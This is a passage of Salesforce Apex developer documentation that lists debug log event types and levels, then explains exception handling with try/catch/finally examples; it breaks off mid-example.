FATAL_ERROR	Exception type, message, and stack trace	Apex Code	ERROR and above
FLOW_ACTIONCALL_DETAIL	Interview ID, element name, action type, action enum or ID, whether the action call succeeded, and error message	Workflow	FINER and above
FLOW_ASSIGNMENT_DETAIL	Interview ID, reference, operator, and value	Workflow	FINER and above
FLOW_BULK_ELEMENT_BEGIN	Interview ID and element type	Workflow	FINE and above
FLOW_BULK_ELEMENT_DETAIL	Interview ID, element type, element name, number of records	Workflow	FINER and above
FLOW_BULK_ELEMENT_END	Interview ID, element type, element name, number of records, and execution time	Workflow	FINE and above
FLOW_BULK_ELEMENT_LIMIT_USAGE	Incremented usage toward a limit for this bulk element. Each event displays the usage for one of these limits. SOQL queries SOQL query rows SOSL queries DML statements DML rows CPU time in ms Heap size in bytes Callouts Email invocations Future calls Jobs in queue Push notifications	Workflow	FINER and above
FLOW_BULK_ELEMENT_NOT_SUPPORTED	Operation, element name, and entity name that doesn't support bulk operations	Workflow	INFO and above
FLOW_CREATE_INTERVIEW_BEGIN	Organization ID, definition ID, and version ID	Workflow	INFO and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
FLOW_CREATE_INTERVIEW_END	Interview ID and flow name	Workflow	INFO and above
FLOW_CREATE_INTERVIEW_ERROR	Message, organization ID, definition ID, and version ID	Workflow	ERROR and above
FLOW_ELEMENT_BEGIN	Interview ID, element type, and element name	Workflow	FINE and above
FLOW_ELEMENT_DEFERRED	Element type and element name	Workflow	FINE and above
FLOW_ELEMENT_END	Interview ID, element type, and element name	Workflow	FINE and above
FLOW_ELEMENT_ERROR	Message, element type, and element name (flow runtime exception)	Workflow	ERROR and above
FLOW_ELEMENT_ERROR	Message, element type, and element name (spark not found)	Workflow	ERROR and above
FLOW_ELEMENT_ERROR	Message, element type, and element name (designer exception)	Workflow	ERROR and above
FLOW_ELEMENT_ERROR	Message, element type, and element name (designer limit exceeded)	Workflow	ERROR and above
FLOW_ELEMENT_ERROR	Message, element type, and element name (designer runtime exception)	Workflow	ERROR and above
FLOW_ELEMENT_FAULT	Message, element type, and element name (fault path taken)	Workflow	WARNING and above
FLOW_ELEMENT_LIMIT_USAGE	Incremented usage toward a limit for this element. Each event displays the usage for one of these limits. SOQL queries SOQL query rows SOSL queries DML statements DML rows CPU time in ms Heap size in bytes Callouts	Workflow	FINER and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
	Email invocations Future calls Jobs in queue Push notifications		
FLOW_INTEVIEW_FINISHED_LIMIT_USAGE	Usage toward a limit when the interview finishes. Each event displays the usage for one of these limits. SOQL queries SOQL query rows SOSL queries DML statements DML rows CPU time in ms Heap size in bytes Callouts Email invocations Future calls Jobs in queue Push notifications	Workflow	FINER and above
FLOW_INTEVIEW_PAUSED	Interview ID, flow name, and why the user paused	Workflow	INFO and above
FLOW_INTEVIEW_RESUMED	Interview ID and flow name	Workflow	INFO and above
FLOW_LOOP_DETAIL	Interview ID, index, and value The index is the position in the collection variable for the item that the loop is operating on.	Workflow	FINER and above
FLOW_RULE_DETAIL	Interview ID, rule name, and result	Workflow	FINER and above
FLOW_START_INTEVIEW_BEGIN	Interview ID and flow name	Workflow	INFO and above
FLOW_START_INTEVIEW_END	Interview ID and flow name	Workflow	INFO and above
FLOW_START_INTERVIEWS_BEGIN	Requests	Workflow	INFO and above
FLOW_START_INTERVIEWS_END	Requests	Workflow	INFO and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
FLOW_START_INTERVIEWS_ERROR	Message, interview ID, and flow name	Workflow	ERROR and above
FLOW_START_INTERVIEW_LIMIT_USAGE	Usage toward a limit at the interview's start time. Each event displays the usage for one of these limits. SOQL queries SOQL query rows SOQL queries DML statements DML rows CPU time in ms Heap size in bytes Callouts Email invocations Future calls Jobs in queue Push notifications	Workflow	FINER and above
FLOW_START_SCHEDULED_RECORDS	Message and number of records that the flow runs for	Workflow	INFO and above
FLOW_SUBFLOW_DETAIL	Interview ID, name, definition ID, and version ID	Workflow	FINER and above
FLOW_VALUE_ASSIGNMENT	Interview ID, key, and value	Workflow	FINER and above
FLOW_WAIT_EVENT_RESUMING_DETAIL	Interview ID, element name, event name, and event type	Workflow	FINER and above
FLOW_WAIT_EVENT_WAITING_DETAIL	Interview ID, element name, event name, event type, and whether conditions were met	Workflow	FINER and above
FLOW_WAIT_RESUMING_DETAIL	Interview ID, element name, and persisted interview ID	Workflow	FINER and above
FLOW_WAIT_WAITING_DETAIL	Interview ID, element name, number of events that the element is waiting for, and persisted interview ID	Workflow	FINER and above
HEAP_ALLOCATE	Line number and number of bytes	Apex Code	FINER and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
HEAP_DEALLOCATE	Line number and number of bytes deallocated	Apex Code	FINER and above
IDEAS_QUERY_EXECUTE	Line number	DB	FINEST
LIMIT_USAGE_FOR_NS	Namespace and these limits: Number of SOQL queries Number of query rows Number of SOSL queries Number of DML statements Number of DML rows Number of code statements Maximum heap size Number of callouts Number of Email Invocations Number of fields describes Number of record type describes Number of child relationships describes Number of picklist describes Number of future calls Number of find similar calls Number of System.runAs() invocations	Apex Profiling	FINEST

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
METHOD_ENTRY	Line number, the Lightning Platform ID of the class, and method signature (with namespace, if applicable)	Apex Code	FINE and above
METHOD_EXIT	Line number, the Lightning Platform ID of the class, and method signature (with namespace, if applicable) For constructors, this information is logged: line number and class name.	Apex Code	FINE and above
NAMED_CREDENTIAL_REQUEST	Named Credential Id, Named Credential Name, Endpoint, Method, External Credential Type, Http Header Authorization, Request Size bytes, and Retry on 401. If using an outbound network connection, these fields are also logged: Outbound Network Connection Id, Outbound Network Connection Name, Outbound Network Connection Status, Host Type, Host Region, and Private Connect Outbound Hourly Data Usage Percent.	Callout	INFO and above
NAMED_CREDENTIAL_RESPONSE	Truncated section of the response body that's returned from the NamedCredential callout.	Callout	INFO and above
NAMED_CREDENTIAL_RESPONSE_DETAIL	Named Credential Id, Named Credential Name, Status Code, Response Size bytes, Overall Callout Time ms, and Connect Time ms. If using an outbound network connection, these fields are also logged: Outbound Network Connection Id, Outbound Network Connection Name, and Private Connect Outbound Hourly Data Usage Percent.	Callout	FINER and above
NBA_NODE_BEGIN	Element name, element type	NBA	FINE and above
NBA_NODE_DETAIL	Element name, element type, message	NBA	FINE and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
NBA__NODE__END	Element name, element type, message	NBA	FINE and above
NBA__NODE__ERROR	Element name, element type, error message	NBA	ERROR and above
NBA__OFFER__INVALID	Name, ID, reason	NBA	FINE and above
NBA__STRATEGY__BEGIN	Strategy name	NBA	FINE and above
NBA__STRATEGY__END	Strategy name, count of outputs	NBA	FINE and above
NBA__STRATEGY__ERROR	Strategy name, error message	NBA	ERROR and above
POLICY__EVALUATION__CONDITIONAL__RESPONSE	Condition evaluation response for a policy. Used for identifying conditions that match the policy.	Data Access	FINER
POLICY__RULE__EVALUATION__REQUEST	Request received for the evaluation of access via the policy.	Data Access	FINE
POLICY__RULE__EVALUATION__RESPONSE	Response for the evaluation of access via the policy, including why access is granted or denied.	Data Access	FINER
POLICY__RULE__EVALUATION__SKIPPED	Object for which the policy evaluation is skipped. If the policy evaluation is skipped, the user is allowed access to the object.	Data Access	FINER
POLICY__RULE__EVALUATION__START	Rule being evaluated.	Data Access	FINER
POP__TRACE__FLAGS	Line number, the Lightning Platform ID of the class or trigger that has its log levels set and that is going into scope, the name of this class or trigger, and the log level settings that are in effect after leaving this scope	System	INFO and above
PUSH__NOTIFICATION__INVALID__APP	App namespace, app name This event occurs when Apex code is trying to send a notification to an app that doesn't exist in the org, or isn't push-enabled.	Apex Code	ERROR

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
PUSH_NOTIFICATION_INVALID_CERTIFICATE	App namespace, app name This event indicates that the certificate is invalid. For example, it's expired.	Apex Code	ERROR
PUSH_NOTIFICATION_INVALID_NOTIFICATION	App namespace, app name, service type (Apple or Android GCM), user ID, device, payload (substring), payload length. This event occurs when a notification payload is too long.	Apex Code	ERROR
PUSH_NOTIFICATION_NO_DEVICES	App namespace, app name This event occurs when none of the users we're trying to send notifications to have devices registered.	Apex Code	DEBUG
PUSH_NOTIFICATION_NOT_ENABLED	This event occurs when push notifications aren't enabled in your org.	Apex Code	INFO
PUSH_NOTIFICATION_SENT	App namespace, app name, service type (Apple or Android GCM), user ID, device, payload (substring) This event records that a notification was accepted for sending. We don't guarantee delivery of the notification.	Apex Code	DEBUG
PUSH_TRACE_FLAGS	Line number, the Salesforce ID of the class or trigger that has its log levels set and that is going out of scope, the name of this class or trigger, and the log level settings that are in effect after entering this scope	System	INFO and above
QUERY_MORE_BEGIN	Line number	DB	INFO and above
QUERY_MORE_END	Line number	DB	INFO and above
QUERY_MORE_ITERATIONS	Line number and the number of queryMore iterations	DB	INFO and above
SAVEPOINT_ROLLBACK	Line number and Savepoint name	DB	INFO and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
SAVEPOINT_SET	Line number and Savepoint name	DB	INFO and above
SLA_END	Number of cases, load time, processing time, number of case milestones to insert, update, or delete, and new trigger	Workflow	INFO and above
SLA_EVAL_MILESTONE	Milestone ID	Workflow	INFO and above
SLA_NULL_START_DATE	None	Workflow	INFO and above
SLA_PROCESS_CASE	Case ID	Workflow	INFO and above
SOQL_EXECUTE_BEGIN	Line number, number of aggregations, and query source	DB	INFO and above
SOQL_EXECUTE_END	Line number, number of rows, and duration in milliseconds	DB	INFO and above
SOQL_EXECUTE_EXPLAIN	Query Plan details for the executed SOQL query. To get feedback on query performance, see Get Feedback on Query Performance .	DB	FINEST
SOSL_EXECUTE_BEGIN	Line number and query source	DB	INFO and above
SOSL_EXECUTE_END	Line number, number of rows, and duration in milliseconds	DB	INFO and above
STACK_FRAME_VARIABLE_LIST	Frame number and variable list of the form: <i>Variable number</i> <i>Value</i> . For example: <pre>var1:50 var2:'Hello World'</pre>	Apex Profiling	FINE and above
STATEMENT_EXECUTE	Line number	Apex Code	FINER and above
STATIC_VARIABLE_LIST	Variable list of the form: <i>Variable number</i> <i>Value</i> . For example: <pre>var1:50 var2:'Hello World'</pre>	Apex Profiling	FINE and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
SYSTEM_CONSTRUCTOR_ENTRY	Line number and the string <code><init> ()</code> with the types of parameters, if any, between the parentheses	System	FINE and above
SYSTEM_CONSTRUCTOR_EXIT	Line number and the string <code><init> ()</code> with the types of parameters, if any, between the parentheses	System	FINE and above
SYSTEM_METHOD_ENTRY	Line number and method signature	System	FINE and above
SYSTEM_METHOD_EXIT	Line number and method signature	System	FINE and above
SYSTEM_MODE_ENTER	Mode name	System	INFO and above
SYSTEM_MODE_EXIT	Mode name	System	INFO and above
TESTING_LIMITS	None	Apex Profiling	INFO and above
TOTAL_EMAIL_RECIPIENTS_QUEUED	Number of emails sent	Apex Profiling	FINE and above
USER_DEBUG	Line number, logging level, and user-supplied string	Apex Code	DEBUG and above by default. If the user sets the log level for the <code>System.debug</code> method, the event is logged at that level instead.
USER_INFO	Line number, user ID, username, user timezone, and user timezone in GMT	Apex Code	ERROR and above
VALIDATION_ERROR	Error message	Validation	INFO and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
VALIDATION_FAIL	None	Validation	INFO and above
VALIDATION_FORMULA	Formula source and values	Validation	INFO and above
VALIDATION_PASS	None	Validation	INFO and above
VALIDATION_RULE	Rule name	Validation	INFO and above
VARIABLE_ASSIGNMENT	Line number, variable name (including the variable's namespace, if applicable), a string representation of the variable's value, and the variable's address	Apex Code	FINEST
VARIABLE_SCOPE_BEGIN	Line number, variable name (including the variable's namespace, if applicable), type, a value that indicates whether the variable can be referenced, and a value that indicates whether the variable is static	Apex Code	FINEST
VARIABLE_SCOPE_END	None	Apex Code	FINEST
VF_APEX_CALL_START	Element name, method name, return type, and the typeRef for the Visualforce controller (for example, <code>YourApexClass</code>)	Apex Code	INFO and above
VF_APEX_CALL_END	Element name, method name, return type, and the typeRef for the Visualforce controller (for example, <code>YourApexClass</code>)	Apex Code	INFO and above
VF_DESERIALIZE_VIEWSTATE_BEGIN	View state ID	Visualforce	INFO and above
VF_DESERIALIZE_VIEWSTATE_END	None	Visualforce	INFO and above
VF_EVALUATE_FORMULA_BEGIN	View state ID and formula	Visualforce	FINER and above
VF_EVALUATE_FORMULA_END	None	Visualforce	FINER and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
VF_PAGE_MESSAGE	Message text	Apex Code	INFO and above
VF_SERIALIZE_VIEWSTATE_BEGIN	View state ID	Visualforce	INFO and above
VF_SERIALIZE_VIEWSTATE_END	None	Visualforce	INFO and above
WF_ACTION	Action description	Workflow	INFO and above
WF_ACTION_TASK	Task subject, action ID, rule name, rule ID, owner, and due date	Workflow	INFO and above
WF_ACTIONS_END	Summary of actions performed	Workflow	INFO and above
WF_APPROVAL	Transition type, <code>EntityName: NameField Id</code> , and process node name	Workflow	INFO and above
WF_APPROVAL_REMOVE	<code>EntityName: NameField Id</code>	Workflow	INFO and above
WF_APPROVAL_SUBMIT	<code>EntityName: NameField Id</code>	Workflow	INFO and above
WF_APPROVAL_SUBMITTER	Submitter ID, submitter full name, and error message	Workflow	INFO and above
WF_ASSIGN	Owner and assignee template ID	Workflow	INFO and above
WF_CRITERIA_BEGIN	<code>EntityName: NameField Id</code> , rule name, rule ID, and (if rule respects trigger types) trigger type and recursive count	Workflow	INFO and above
WF_CRITERIA_END	Boolean value indicating success (true or false)	Workflow	INFO and above
WF_EMAIL_ALERT	Action ID, rule name, and rule ID	Workflow	INFO and above
WF_EMAIL_SENT	Email template ID, recipients, and CC emails	Workflow	INFO and above
WF_ENQUEUE_ACTIONS	Summary of actions enqueued	Workflow	INFO and above
WF_ESCALATION_ACTION	Case ID and escalation date	Workflow	INFO and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
WF_ESCALATION_RULE	None	Workflow	INFO and above
WF_EVAL_ENTRY_CRITERIA	Process name, email template ID, and Boolean value indicating result (true or false)	Workflow	INFO and above
WF_FIELD_UPDATE	EntityName: NameField Id and the object or field name	Workflow	INFO and above
WF_FLOW_ACTION_BEGIN	ID of flow trigger	Workflow	INFO and above
WF_FLOW_ACTION_DETAIL	ID of flow trigger, object type and ID of record whose creation or update caused the workflow rule to fire, name and ID of workflow rule, and the names and values of flow variables	Workflow	FINE and above
WF_FLOW_ACTION_END	ID of flow trigger	Workflow	INFO and above
WF_FLOW_ACTION_ERROR	ID of flow trigger, ID of flow definition, ID of flow version, and flow error message	Workflow	ERROR and above
WF_FLOW_ACTION_ERROR_DETAIL	Detailed flow error message	Workflow	ERROR and above
WF_FORMULA	Formula source and values	Workflow	INFO and above
WF_HARD_REJECT	None	Workflow	INFO and above
WF_NEXT_APPROVER	Owner, next owner type, and field	Workflow	INFO and above
WF_NO_PROCESS_FOUND	None	Workflow	INFO and above
WF_OUTBOUND_MSG	EntityName: NameField Id, action ID, rule name, and rule ID	Workflow	INFO and above
WF_PROCESS_FOUND	Process definition ID and process label	Workflow	INFO and above
WF_PROCESS_NODE	Process name	Workflow	INFO and above
WF_REASSIGN_RECORD	EntityName: NameField Id and owner	Workflow	INFO and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
WF_RESPONSE_NOTIFY	Notifier name, notifier email, notifier template ID, and reply-to email	Workflow	INFO and above
WF_RULE_ENTRY_ORDER	Integer indicating order	Workflow	INFO and above
WF_RULE_EVAL_BEGIN	Rule type	Workflow	INFO and above
WF_RULE_EVAL_END	None	Workflow	INFO and above
WF_RULE_EVAL_VALUE	Value	Workflow	INFO and above
WF_RULE_FILTER	Filter criteria	Workflow	INFO and above
WF_RULE_INVOCATION	EntityName: NameField Id	Workflow	INFO and above
WF_RULE_NOT_EVALUATED	None	Workflow	INFO and above
WF_SOFT_REJECT	Process name	Workflow	INFO and above
WF_SPOOL_ACTION_BEGIN	Node type	Workflow	INFO and above
WF_TIME_TRIGGER	EntityName: NameField Id, time action, time action container, and evaluation Datetime	Workflow	INFO and above
WF_TIME_TRIGGERS_BEGIN	None	Workflow	INFO and above
XDS_DETAIL (External object access via cross-org and OData adapters for Salesforce Connect)	For OData adapters, the POST body and the name and evaluated formula for custom HTTP headers	Callout	FINER and above
XDS_RESPONSE (External object access via cross-org and OData adapters for Salesforce Connect)	External data source, external object, request details, number of returned records, and system usage	Callout	INFO and above
XDS_RESPONSE_DETAIL (External object access via cross-org and OData adapters for Salesforce Connect)	Truncated response from the external system, including returned records	Callout	FINER and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
XDS_RESPONSE_ERROR (External object access via cross-org and OData adapters for Salesforce Connect)	Error message	Callout	ERROR and above

SEE ALSO:

[Salesforce Help: Debug Log Levels](#)

[Salesforce Help: Partition Your Data with Enhanced Security Data Spaces](#)

[Salesforce Help: User Access Policies](#)

Debugging Apex API Calls

All API calls that invoke Apex support a debug facility that allows access to detailed information about the execution of the code, including any calls to `System.debug()`. The `categories` field of a SOAP input header called `DebuggingHeader` allows you to set the logging granularity according to the levels outlined in this table.

Element Name	Type	Description
<code>category</code>	LogCategory	Specify the type of information returned in the debug log. Valid values are: • <code>Db</code> • <code>Workflow</code> • <code>Validation</code> • <code>Callout</code> • <code>Apex_code</code> • <code>Apex_profiling</code> • <code>Visualforce</code> • <code>System</code> • <code>All</code>
<code>level</code>	LogCategoryLevel	Specifies the level of detail returned in the debug log. Valid log levels are (listed from lowest to highest): • <code>NONE</code> • <code>ERROR</code> • <code>WARN</code> • <code>INFO</code> • <code>DEBUG</code> • <code>FINE</code> • <code>FINER</code> • <code>FINEST</code>

In addition, the following log levels are still supported as part of the `DebuggingHeader` for backwards compatibility.

Log Level	Description
NONE	Does not include any log messages.
DEBUGONLY	Includes lower-level messages, and messages generated by calls to the <code>System.debug</code> method.
DB	Includes log messages generated by calls to the <code>System.debug</code> method, and every data manipulation language (DML) statement or inline SOQL or SOSL query.
PROFILE	Includes log messages generated by calls to the <code>System.debug</code> method, every DML statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined method. In addition, the end of the debug log contains overall profiling information for the portions of the request that used the most resources. This profiling information is presented in terms of SOQL and SOSL statements, DML operations, and Apex method invocations. These three sections list the locations in the code that consumed the most time, in descending order of total cumulative time. Also listed is the number of times the categories executed.
CALLOUT	Includes the request-response XML that the server is sending and receiving from an external web service. Useful when debugging issues related to using Lightning Platform web service API calls or troubleshooting user access to external objects via Salesforce Connect.
DETAIL	Includes all messages generated by the <code>PROFILE</code> level and the following. • Variable declaration statements • Start of loop executions • All loop controls, such as <code>break</code> and <code>continue</code> • Thrown exceptions * • Static and class initialization code * • Any changes in the <code>with sharing</code> context

The corresponding output header, `DebuggingInfo`, contains the resulting debug log. For more information, see [DebuggingHeader](#) in the *SOAP API Developer Guide*.

Debug Log Order of Precedence

Which events are logged depends on various factors. These factors include your trace flags, the default logging levels, your API header, user-based system log enablement, and the log levels set by your entry points.

The order of precedence for debug log levels is:

1. Trace flags override all other logging logic. The Developer Console sets a trace flag when it loads, and that trace flag remains in effect until it expires. You can set trace flags in the Developer Console or in Setup or by using the `TraceFlag` and `DebugLevel` Tooling API objects.



Note: Setting class and trigger trace flags doesn't cause logs to be generated or saved. Class and trigger trace flags override other logging levels, including logging levels set by user trace flags, but they don't cause logging to occur. If logging is enabled when classes or triggers execute, logs are generated at the time of execution.

2. If you don't have active trace flags, synchronous and asynchronous Apex tests execute with the default logging levels. Default logging levels are:

DB

INFO

APEX_CODE

DEBUG

APEX_PROFILING

INFO

WORKFLOW

INFO

VALIDATION

INFO

CALLOUT

INFO

VISUALFORCE

INFO

SYSTEM

DEBUG

3. If no relevant trace flags are active, and no tests are running, your API header sets your logging levels. API requests that are sent without debugging headers generate transient logs—logs that aren't saved—unless another logging rule is in effect.
4. If your entry point sets a log level, that log level is used. For example, Visualforce requests can include a debugging parameter that sets log levels.

If none of these cases apply, logs aren't generated or persisted.

Exceptions in Apex

Exceptions note errors and other events that disrupt the normal flow of code execution. `throw` statements are used to generate exceptions, while `try`, `catch`, and `finally` statements are used to gracefully recover from exceptions.

There are many ways to handle errors in your code, including using assertions like `System.assert` calls, or returning error codes or Boolean values, so why use exceptions? The advantage of using exceptions is that they simplify error handling. Exceptions bubble up from the called method to the caller, as many levels as necessary, until a `catch` statement is found to handle the error. This bubbling up relieves you from writing error-handling code in each of your methods. Also, by using `finally` statements, you have one place to recover from exceptions, like resetting variables and deleting data.

What Happens When an Exception Occurs?

When an exception occurs, code execution halts. Any DML operations that were processed before the exception are rolled back and aren't committed to the database. Exceptions get logged in debug logs. For unhandled exceptions (exceptions that the code doesn't catch) Salesforce sends an email that includes the exception information. The end user sees an error message in the Salesforce user interface.

Unhandled Exception Emails

 **Tip:** Take advantage of free-tier access to Event Monitoring, and track unhandled exceptions in Apex code execution instead of relying only on unhandled exception emails. Troubleshoot your Apex code by analyzing the information captured in the [event log files](#) for the [Apex Unexpected Exception](#) event type.


When unhandled Apex exceptions occur, emails sent contain the Apex stack trace, exception message, customer's org and user ID, org name, and My Domain name. No other data is returned with the report. Unhandled exception emails are sent by default to the developer specified in the `LastModifiedBy` field on the failing class or trigger. In addition, you can have emails sent to users of your Salesforce org and to arbitrary email addresses. These email recipients can also receive process or flow error emails. To set up these email notifications, from Setup, enter *Apex Exception Email* in the **Quick Find** box, then select **Apex Exception Email**. The entered email addresses then apply to all managed packages in the customer's org. You can also configure Apex exception emails using Tooling API object `ApexEmailNotification`.

 **Note:**

- If duplicate exceptions occur in Apex code that runs synchronously or asynchronously, subsequent exception emails are suppressed and only the first email is sent. This email suppression prevents flooding of the developer's inbox with emails about the same error.
- Emails aren't sent for exceptions encountered with anonymous Apex executions or with Apex methods accessed by Aura components and Lightning web components via the [@AuraEnabled](#) annotation.
- Apex exception emails are limited to 10 emails per hour, per application server. Because this limit isn't on a per-org basis, email delivery to a particular org can be unreliable.

Unhandled Exceptions in the User Interface

If an end user runs into an exception that occurred in Apex code while using the standard user interface, an error message appears. The error message includes text similar to the notification shown here.



The screenshot shows the 'New Merchandise' form in Salesforce. At the top, there's a header 'Merchandise Edit' with a 'New Merchandise' link. Below the header, there are buttons for 'Save', 'Save & New', and 'Cancel'. A red error message is displayed: 'Error: Invalid Data. Review all error messages below to correct your data. Apex trigger myMerchandiseTrigger caused an unexpected exception, contact your administrator: myMerchandiseTrigger: execution of BeforeInsert caused by: System.NullPointerException: Attempt to de-reference a null object: Trigger.myMerchandiseTrigger: line 3, column 1'. Below the error message, there's an 'Information' section with a legend indicating that a red vertical bar means 'Required Information'. The form fields are: 'Merchandise Name' (required, value 'Erasers'), 'Description' (value 'White erasers'), 'Price' (value '1.50'), and 'Total Inventory' (value '120'). The 'Owner' is listed as 'Test User'.

[Exception Statements](#)

[Exception Handling Example](#)

Learn how exception handling works in Apex.

[Built-In Exceptions and Common Methods](#)

[Catching Different Exception Types](#)

[Create Custom Exceptions](#)

Exception Statements

Apex uses *exceptions* to note errors and other events that disrupt the normal flow of code execution. `throw` statements can be used to generate exceptions, while `try`, `catch`, and `finally` can be used to gracefully recover from an exception.

Throw Statements

A `throw` statement allows you to signal that an error has occurred. To throw an exception, use the `throw` statement and provide it with an exception object to provide information about the specific error. For example:

```
throw exceptionObject;
```

Try-Catch-Finally Statements

The `try`, `catch`, and `finally` statements can be used to gracefully recover from a thrown exception:

- The `try` statement identifies a block of code in which an exception can occur.
- The `catch` statement identifies a block of code that can handle a particular type of exception. A single `try` statement can have zero or more associated `catch` statements. Each `catch` statement must have a unique exception type. Also, once a particular exception type is caught in one `catch` block, the remaining `catch` blocks, if any, aren't executed.
- The `finally` statement identifies a block of code that is guaranteed to execute and allows you to clean up your code. A single `try` statement can have up to one associated `finally` statement. Code in the `finally` block always executes regardless of whether an exception was thrown or the type of exception that was thrown. Because the `finally` block always executes, use it for cleanup code, such as for freeing up resources.

Syntax

The syntax of the `try`, `catch`, and `finally` statements is as follows.

```
try {  
    // Try block  
    code_block  
} catch (exceptionType variableName) {  
    // Initial catch block.  
    // At least the catch block or the finally block must be present.  
    code_block  
} catch (Exception e) {  
    // Optional additional catch statement for other exception types.  
    // Note that the general exception type, 'Exception',  
    // must be the last catch block when it is used.  
    code_block  
} finally {  
    // Finally block.  
    // At least the catch block or the finally block must be present.  
    code_block  
}
```

At least a `catch` block or a `finally` block must be present with a `try` block. The following is the syntax of a try-catch block.

```
try {  
    code_block  
} catch (exceptionType variableName) {  
    code_block  
}  
// Optional additional catch blocks
```

The following is the syntax of a try-finally block.

```
try {  
    code_block  
} finally {  
    code_block  
}
```

This is a skeletal example of a try-catch-finally block.

```
try {  
    // Perform some operation that  
    // might cause an exception.  
} catch(Exception e) {  
    // Generic exception handling code here.  
} finally {  
    // Perform some clean up.  
}
```

Exceptions that Can't be Caught

Some special types of built-in exceptions can't be caught. Those exceptions are associated with critical situations in the Lightning Platform. These situations require the abortion of code execution and don't allow for execution to resume through exception handling. One such exception is the limit exception (`System.LimitException`) that the runtime throws if a governor limit such as heap size or CPU time has been exceeded, when the maximum number of SOQL queries issued has been exceeded, an attempt is made to retrieve more than the maximum number of records, and so on. Other examples are exceptions thrown when assertion statements fail (through `System.assert` methods) or license exceptions.

When exceptions are uncatchable, `catch` blocks, as well as `finally` blocks if any, aren't executed.

Versioned Behavior Changes

In API version 41.0 and later, unreachable statements in your code will cause compilation errors. For example, the following code block generates a compile time error in API version 41.0 and later. The third statement can never be reached because the previous statement throws an unconditional exception.

```
Boolean x = true;  
throw new NullPointerException();  
x = false;
```

Exception Handling Example

Learn how exception handling works in Apex.

To see an exception in action, execute some code that causes a DML exception to be thrown. Execute the following in the Developer Console:

```
Merchandise__c m = new Merchandise__c();
insert m;
```

The `insert` DML statement in the example causes a `DmlException` because we're inserting a merchandise item without setting any of its required fields. This is the exception error that you see in the debug log.

```
System.DmlException: Insert failed. First exception on row 0; first error:
REQUIRED_FIELD_MISSING, Required fields are missing: [Description, Price, Total
Inventory]: [Description, Price, Total Inventory]
```

Next, execute this snippet in the Developer Console. It's based on the previous example but includes a try-catch block.

```
try {
    Merchandise__c m = new Merchandise__c();
    insert m;
} catch(DmlException e) {
    System.debug('The following exception has occurred: ' + e.getMessage());
}
```

Notice that the request status in the Developer Console now reports success. This is because the code handles the exception.

Any statements in the try block occurring after the exception are skipped and aren't executed. For example, if you add a statement after `insert m;`, this statement won't be executed. Execute the following:

```
try {
    Merchandise__c m = new Merchandise__c();
    insert m;
    // This doesn't execute since insert causes an exception
    System.debug('Statement after insert.');
```

```
} catch(DmlException e) {
    System.debug('The following exception has occurred: ' + e.getMessage());
}
```

In the new debug log entry, notice that you don't see a debug message of `Statement after insert`. This is because this debug statement occurs after the exception caused by the insertion and never gets executed. To continue the execution of code statements after an exception happens, place the statement after the try-catch block. Execute this modified code snippet and notice that the debug log now has a debug message of `Statement after insert`.

```
try {
    Merchandise__c m = new Merchandise__c();
    insert m;
} catch(DmlException e) {
    System.debug('The following exception has occurred: ' + e.getMessage());
}

// This will get executed
System.debug('Statement after insert.');
```

Alternatively, you can include additional try-catch blocks. This code snippet has the `System.debug` statement inside a second try-catch block. Execute it to see that you get the same result as before.

```
try {
    Merchandise__c m = new Merchandise__c();
    insert m;
} catch(DmlException e) {
```

```

    System.debug('The following exception has occurred: ' + e.getMessage());
}

try {
    System.debug('Statement after insert.');
```

// Insert other records

```

}
catch (Exception e) {
    // Handle this exception here
}

```

The finally block always executes regardless of what exception is thrown, and even if no exception is thrown. Let's see it used in action. Execute the following:

```

// Declare the variable outside the try-catch block
// so that it will be in scope for all blocks.
XmlStreamWriter w = null;
try {
    w = new XmlStreamWriter();
    w.writeStartDocument(null, '1.0');
    w.writeStartElement(null, 'book', null);
    w.writeCharacters('This is my book');
    w.writeEndElement();
    w.writeEndDocument();

    // Perform some other operations
    String s;
    // This causes an exception because
    // the string hasn't been assigned a value.
    Integer i = s.length();
} catch (Exception e) {
    System.debug('An exception occurred: ' + e.getMessage());
} finally {
    // This gets executed after the exception is handled
    System.debug('Closing the stream writer in the finally block.');
```

// Close the stream writer

```

    w.close();
}

```

The previous code snippet creates an XML stream writer and adds some XML elements. Next, an exception occurs due to accessing the null String variable `s`. The catch block handles this exception. Then the finally block executes. It writes a debug message and closes the stream writer, which frees any associated resources. Check the debug output in the debug log. You'll see the debug message `Closing the stream writer in the finally block.` after the exception error. This tells you that the finally block executed after the exception was caught.

SEE ALSO:

[Create Custom Exceptions](#)

[Salesforce Developers Blog: Error Handling Best Practices for Lightning and Apex](#)

Built-In Exceptions and Common Methods

Apex provides a number of built-in exception types that the runtime engine throws if errors are encountered during execution. You've seen the `DmlException` in the previous example. Here is a sample of some other built-in exceptions. For a complete list of built-in exception types, see [Exception Class and Built-In Exceptions](#).

DmlException

Any problem with a DML statement, such as an `insert` statement missing a required field on a record.

This example makes use of `DmlException`. The `insert` DML statement in this example causes a `DmlException` because it's inserting a merchandise item without setting any of its required fields. This exception is caught in the `catch` block and the exception message is written to the debug log using the `System.debug` statement.

```
try {
    Merchandise__c m = new Merchandise__c();
    insert m;
} catch(DmlException e) {
    System.debug('The following exception has occurred: ' + e.getMessage());
}
```

ListException

Any problem with a list, such as attempting to access an index that is out of bounds.

This example creates a list and adds one element to it. Then, an attempt is made to access two elements, one at index 0, which exists, and one at index 1, which causes a `ListException` to be thrown because no element exists at this index. This exception is caught in the catch block. The `System.debug` statement in the catch block writes the following to the debug log: The following exception has occurred: List index out of bounds: 1.

```
try {
    List<Integer> li = new List<Integer>();
    li.add(15);
    // This list contains only one element,
    // but we're attempting to access the second element
    // from this zero-based list.
    Integer i1 = li[0];
    Integer i2 = li[1]; // Causes a ListException
} catch(ListException le) {
